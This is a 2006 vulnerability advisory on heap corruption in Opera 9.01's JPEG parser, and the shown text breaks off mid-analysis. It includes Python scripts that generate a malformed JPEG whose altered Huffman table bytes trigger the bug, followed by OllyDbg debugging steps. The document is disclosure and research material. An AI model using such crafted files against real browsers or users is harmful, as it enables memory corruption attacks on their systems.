[code]
Opera JPEG processing - Heap corruption vulnerabilities
=======================================================
Date..: 8th September 2006
31th October 2006 (update)
3rd November 2006 (update)
5th January 2007 (public release)
http://labs.idefense.com/intelli ... /display.php?id=457
Author: posidron
Application: Opera 9.01 Build 8552
Environment: Windows XP Professional, Service Pack 2 - DE
Preamble
========
Opera is vulnerable in parsing the JPEG file format. Discovered were four
vulnerabilities, each in different segments of the file format. I will
describe in this advisory the two important ones.
1 - ntdll.RtlAllocateHeap() DHT vulnerability
2 - ntdll.RtlAllocateHeap() SOS vulnerability
Opera Mini for mobile phones could be vulnerable also. The second bug looks
very interesting to this topic.
Details
=======
The following code produces the sample image on which all further operations
are made. It's a valid image which was generated with Adobe Photoshop.
Properties
----------
Type : JPEG
Size : 1px x 1px
Compression: Low
Colors: : None
Filesize : 304 bytes
# File: sample.py
bytes = [
0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,
0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,
0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,
0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,
0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12,
0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26,
0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C,
0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B,
0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00,
0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01,
0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x01, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF,
0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00,
0xB3, 0x00, 0x1F, 0xFF, 0xD9 ]
f = open(__file__+".jpg", "wb")
for byte in bytes: f.write("%c" % byte)
f.close()
print __file__+".jpg created! (%d bytes)" % len(bytes)
# eof
F:\vulndev\Opera> python sample.py
sample.py.jpg created! (304 bytes)
F:\vulndev\Opera>
**************************************************
Details - ntdll.RtlAllocateHeap() DHT vulnerability
---------------------------------------------------
Segment: Define Huffman Table (DHT)
DHT..................: FF C4
Length...............: 00 4B
Index................: 00
Number of codes......: 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06
Sum of previous bytes: 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
We change the above to the below:
Number of codes......: 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Sum of previous bytes: 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
# File: heap.py
bytes = [
0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,
0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,
0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,
0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,
0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12,
0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26,
0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C,
0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B,
0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00,
0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01,
0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xFF,
0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00,
0xB3, 0x00, 0x1F, 0xFF, 0xD9 ]
f = open(__file__+".jpg", "wb")
for byte in bytes: f.write("%c" % byte)
f.close()
print __file__+".jpg created! (%d bytes)" % len(bytes)
# eof
F:\vulndev\Opera> python heap.py
heap.py.jpg created! (304 bytes)
F:\vulndev\Opera>
Analyse - ntdll.RtlAllocateHeap() DHT vulnerability
---------------------------------------------------
The call stack is very large, I think here is a good place to start:
74E5D637 call dword ptr ds:[eax+4] ; set hardware bp on execution
it's the 6th function from the top of the "crash" call stack. Restart Olly,
press F9 until Opera shows up again.
Hit F7 until:
74E610B6 mov bl, byte ptr ds:[eax+1] ; set hardware bp on execution
Hit F9 until the following shows up in the panel, at this statement:
ds:[543502E9]=C4 (' 
